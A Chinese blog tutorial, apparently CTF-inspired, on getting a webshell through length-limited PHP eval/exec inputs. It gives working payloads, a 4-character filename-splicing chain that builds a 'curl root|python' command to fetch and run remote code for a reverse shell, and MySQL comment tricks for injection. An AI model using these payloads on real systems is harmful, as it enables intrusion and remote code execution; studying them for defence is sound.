0x01 问题提出

还记得上篇文章记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门),我们讲到了一些PHP的一些如何巧妙地绕过数字和字母受限的技巧,今天我要给大家分享的是如何在命令长度受限的情况下成功get到webshell,以及关于函数参数受限的突破,mysql的一些骚操作技巧~~~

0x02 问题分析

我们先看个例子:

<?php
$param = $_REGUEST['param'];
if(strlen($param) < 17){
eval($param);
}
?>

上面这部分意思只是叫我们绕过长度受限就可以执行代码。这个其实就很简单了,我们可以采用调用eval或者assert这种后门函数就可以直接绕过了~~

eval函数中参数是字符,比如像下面这样子:

eval('echo 1;');

assert函数中参数为表达式(或者为函数),我们可以像下面这样子去实现:

assert(phpinfo()) 

而我参看了PHP手册才了解到,assert是函数,eval不是函数,是一种语言构造器,eval($a)$a只能是字符串,assert($a)$a可以是php代码,也可以是php代码的字符串。assert($a)$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现。

例如像下面这个样子:

assert(eval("echo 1;echo 2;"));

结果如下:

比如像上面这句,如果是assert(eval("echo 1;echo 2")),这样写是不会执行echo 1也不会执行echo 2的,因为eval使用的字符串要是有分号的php语句,只要有字符串,它就可以当作命令来执行~~

更多细节我们可以参看PHP手册:

eval函数:http://www.php.net/manual/zh/function.eval.php

assert函数:http://php.net/manual/zh/function.assert.php

那如果像下面这个例子呢?

<?php
$param = $_REGUEST['param'];
if(
strlen($param) < 17 &&
stripos($param, 'eval') == false &&
stripos($param, 'assert') == false
){
eval($param);
}
?>

striops函数是用来查找目标字符串在字符串中第一次出现的位置。这里的意思是限制了长度最长为 16 个字符,而且不能用 evalassert,这样我们又该怎么执行命令。

我们可以通过命令执行来绕过限制:

param=`$_GET[1]`;&1=bash

当然了,我们也可以用 exec函数:

param=exec($_GET[1]);

exec可以执行一个外部程序,具体的可以参看PHP手册:http://php.net/manual/zh/function.exec.php

那如果是这个呢?

<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

我们对其进行测试:

我们应该如何去绕过呢?

我们来看看这些函数,escapeshellcmd() 函数对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者执行操作符之前进行转义。

escapeshellcmd() 函数的详细用法参看PHP手册:http://php.net/manual/zh/function.escapeshellcmd.php

那么这个函数具体会转义哪些字符呢?

我们通读了源码可以知道,下图这些字符都可以用^来取代其意义。也就是没办法用& | 来执行其他命令,只能列目录

感兴趣的同学可以研究一下源码,我把源码传到本地了:https://files.cnblogs.com/files/ECJTUACM-873284962/exec.rar

那么我们萌生了一个这样的一个tips:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令,我们做了如下尝试:

前面我们已经说了如何限制在16个字符内的情况下拿到webshell,在二进制漏洞利用中,当我们遇到可控数据只有8字节的情况,去掉字符串尾的\0,限制在7个字符。那么在这种情况下,我们又该怎么办呢?

还是看之前那个例子,把命令长度变成7。

<?php
$param = $_REGUEST['param'];
if(strlen($param) < 8){
eval($param);
}
?>

这让我想起赵本山演的那个小品《钟点工》里面的一个问题,把大象放进冰箱应该分为几步?

此时我们需要铺垫一些基础知识了。

我们可以进行命令的拼装。

我们来个条件更加苛刻的问题,命令长度限制在5,如何完成注入,成功get到webshell呢?

<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

举个例子,我们要执行echo hello这个命令,我们应该怎么办呢?

我们可以进行如下构造:

>echo
>hello

结果如下:

我们可以看到创建了两个文件,分别是echo和hello,我们执行*命令

我们可以看到,执行了echo hello这行命令,所以直接打印出了hello字符串

我们可以通过echo *来查看一下*里面的内容

我们通过将>echo和>hello 完成命令拼接,然后用* 组成并执行了命令echo hello

如果条件再苛刻一点呢?把命令长度限制在4,如何完成注入,成功get到webshell呢?

<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

比如,我们想要执行ls -l命令,我们可以模仿上面这种做法,进行如下构造:

>ls
>-l

结果如下:

我们可以看到创建了两个文件,分别是ls和-l,我们执行*命令

诶,这咋回事啊,咋还报错了呢?

其实啊,我们刚才生成的echo和hello,e的ASCII值要小于h,所以排序的时候自动将echo排在前面,hello排在后面,而ls我们可以看到,此时文件的显示顺序是-l在ls的前面。如果我们执行* 其实是执行-l ls会弹出报错信息

那么我们又该如何获得ls -l呢?

0x03 解决方案

01.命令内容反序

最简单的一种方式就是按照命令内容反着转过来。

我们可以这个命令字符序列反过来看 l- sl,这样是不是顺序正好满足要求呢?接下来我们只需要用一个可以把字符反过来的命令rev,就可以完成这个功能

所以首先第一步,我们先创建了两个文件,分别是l-sl。

>l-
>sl

结果如下:

然后将l- sl组合写入文件v,然后查看v文件里面的内容。

这里面我们可以看到文件v中多了一个v,对我们命令造成干扰,如果我们只想文件中存在l-sl,那该怎么办呢?

这里有个小trick,dir a b>c这个命令可以将a b写到文件c中,不会写入多余的命令进去。

我们创建一个名为dir的文件,然后执行*>v,可以获得l- ls

>dir
echo *
*>v
cat v

结果如下:

然后我们就只需要对这个命令字符序列反转一下就行了,这里我们有一个rev命令,正好可以将内容反序。

所以我们需要产生一个名为rev的文件,然后执行*v ,此时命令相当于rev v,命名为v是为了被通配符匹配,这样就产生了我们要的输出ls -l

>rev
ls
*v

结果如下:

然后就是输出到文件x,然后就可以执行sh x,成功以4个字符执行长度为5的ls -l命令。

*v>x
cat x
sh x

结果如下:

把上面写的命令编成一个shell脚本如下:

#!/usr/bin/env bash
>l-
>sl
>dir
*>v
>rev
*v>x
sh x

我们可以看到,整个命令链长度均小于等于4,这样我们就可以愉快的执行ls -l命令了~

02.时间排序技巧

在ls命令里面有个参数-t,可以根据出现的时间进行排序,先生成的文件排在后面,后生成的文件排在前面,类似于栈的结构。

假设我们要生成ls -t >g命令,它的逆序是g< t- sl,按照ASCII值排序方式的话,t-会在sl后面,不满足需求。所以我们变通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好满足顺序要求。

>g\>
>ht-
>sl
>dir
*>v
>rev
*v>x
cat x

结果如下:

03.续行符技巧拼接命令

Linux里面有个神奇的符号\(反斜杠),可以进行命令的续行,比如下面这个例子,我创建了两个文件a和b,我们通过ls命令查看效果和续行效果是一样的。

>a
>b
ls
l\
s

结果如下:

这样,我们就可以构造一连串的拼接命令进行续行操作。再比如,我要构造命令curl root|python

>on
>th\\
>py\\
>\|\\
>ot\\
>ro\\
>\ \\
>rl\\
>cu\\
ls -t

结果如下:

这里我们可能会有点疑问,>th\\这里看着是5个字符,超过了4个的限制,实际上是因为shell环境需要输入\\产生\,但是php代码exec时,只需要输入\即可产生\,比如 exec(“>th\”)即可。所以这里实际上是不超过4个字符的。

我们再执行ls -th>g,把这些按照时间顺序导入到g文件里面,再查看一下g文件

然后执行sh g反弹shell即可,这里我就不演示给大家看了,大家可以自己在本机上进行尝试即可~~

这里对如何在命令长度受限的情况下成功get到webshell做个小结:

  • w长度最短的命令
  • ls -t 以创建时间来列出当前目录下所有文件
  • 文件列表以[换行符]分割每个文件
  • 引入 `\` 转义ls时的换行
  • 换行不影响命令执行
  • 成功构造任意命令执行,写入Webshell

关于mysql部分还有一些注释技巧,我给大家列一下:

  • [#] 行内注释
  • [-- ] 行内注释,注意末尾的空格
  • [/*...*/] 段注释,可多行
  • [`] 某些情况下,可以作为注释
  • [;] 支持多句执行的情况下,可直接用分号闭合第一句SQL语句

具体的参考P牛的课件:来自小密圈里的那些奇技淫巧

0x04 扩展阅读

如何在命令长度受限的情况下成功get到webshell(函数参数受限突破、mysql的骚操作)的更多相关文章

  1. mysql5.6 varchar长度不同的情况下group by的效率

    varchar长度短的情况下,基于这个字段的group by效率更高.所以开发在设计表的时候要使该字段在满足业务需求的情况下尽可能的小. ps:本想找源码看看代码那是怎么处理的,直接用vim看文件太累 ...

  2. Into outfile禁用情况下另类方法拿webshell

    首先环境如下: OS:Windows 2003 WAF:Safe Dog 4.0正式版 phpmyadmin:4.7(许多都可以) Mysql:5.5+ PHP:5.3 Apache:2.x 总结方法 ...

  3. [Android]利用run-as命令在不root情况下读取data下面的数据

    正文 一.关键步骤 主要是run-as命令: over@over-ThinkPad-R52:~$ adb shell  $ run-as com.package  $ cd /data/data/co ...

  4. SQL&EF优化第一篇 各种情况下的性能测试之count函数篇

    测试环境  mssql 08  +win7    数据 30W条 二〇一六年十月二十九日 09:04:43 结论:1>主键> *>可空列    推测未论证: 根据情况优先选择 顺便提 ...

  5. 利用Xtrabackup在不停机的情况下备用数据库迁移

    什么是Xtrabackup?答:Xtrabackup是一个对InnoDB做数据备份的工具,支持在线热备份(备份时不影响数据读写),是商业备份工具InnoDB Hotbackup的一个很好的替代品. 下 ...

  6. Ubuntu 在终端关闭情况下仍然运行进程

    参考: 让Linux关闭终端(关闭SSH等)后,程序继续运行 Ubuntu 在终端关闭情况下仍然运行进程 在 Ubuntu 16.04 系统下使用 screen 命令在终端关闭情况下仍然运行进程.具体 ...

  7. 一步步学Mybatis-实现单表情况下的CRUD操作 (3)

    今天这一章要紧接上一讲中的东西,本章中创建基于单表操作的CRUD与GetList操作,此示例中以Visitor表为范例,为了创建一点测试数据我们先弄个Add方法吧 继续在上次的IVisitorOper ...

  8. oracle 在表中有数据的情况下修改表字段类型或缩小长度

    分享自己一些常用的sql语句给大家 偶尔我们需要在已有表,并且有数据的情况下,修改其某个字段的类型或缩短他的长度,但是因为表中有数据,所以不可以直接修改,需要换个思路. //建立测试表,可跳过(善于应 ...

  9. /etc/sudoers文件设置为允许用户在不输入该用户的密码的情况下使用所有命令

    设置用户666在不输入该用户的密码的情况下使用所有命令: /etc/sudoers ALL=(ALL) NOPASSWD:ALL # ALL=(ALL) ALL #sudo su - 时是需要输入66 ...

随机推荐

  1. Appium学习——Appium工作原理

    appium的工具原理 Appium-client>>>>Appium-server>>>>移动设备 ========================= ...

  2. 如何将 asp.net core 应用进行 docker 容器部署

    asp.net core 部署在 docker 容器中比较简单,但常因asp.net core程序发布的问题造成容器无法正常启动.现在把详细的操作的步骤记录如下: 一.asp.net core web ...

  3. SQL alwayson 辅助接点查询统计信息“丢失”导致查询失败

    ALWAYSON 出现以下情况已经2次了,记录下: DBCC 执行完毕.如果 DBCC 输出了错误信息,请与系统管理员联系. 消息 2767,级别 16,状态 1,过程 sp_table_statis ...

  4. CSS| 框模型-定位及相關屬性

    CSS 定位 (Positioning) 属性允许你对元素进行定位. CSS 定位和浮动 CSS 为定位和浮动提供了一些属性,利用这些属性,可以建立列式布局,将布局的一部分与另一部分重叠,还可以完成多 ...

  5. redis数据库的简单介绍

    NoSQL:一类新出现的数据库(not only sql) 泛指非关系型的数据库 不支持SQL语法 存储结构跟传统关系型数据库中的那种关系表完全不同,nosql中存储的数据都是KV形式 NoSQL的世 ...

  6. Windows系统安装nginx及配置

    1.下载nginx http://nginx.org/en/download.html         下载稳定版本,以nginx/Windows-1.12.2为例,直接下载 nginx-1.12.2 ...

  7. 转载 三、并行编程 - Task同步机制。TreadLocal类、Lock、Interlocked、Synchronization、ConcurrentQueue以及Barrier等

    随笔 - 353, 文章 - 1, 评论 - 5, 引用 - 0 三.并行编程 - Task同步机制.TreadLocal类.Lock.Interlocked.Synchronization.Conc ...

  8. day12 Python列表

    list#类 列表概括 li = [1,2,13,["石振文",["19", 10],"庞麦郎"],"charon",& ...

  9. matlab fspecial

    Matlab 的fspecial函数用法 fspecial函数用于建立预定义的滤波算子,其语法格式为:h = fspecial(type)h = fspecial(type,para)其中type指定 ...

  10. 20175310《Java2实用教程》第4周学习总结

    20175310 <Java程序设计>第4周学习总结 教材学习内容总结 本周学习了第五章子类与继承的内容,这章主要讲的是面向对象的两个内容:继承与多态.其中重点是方法重写.对象的上转型对象 ...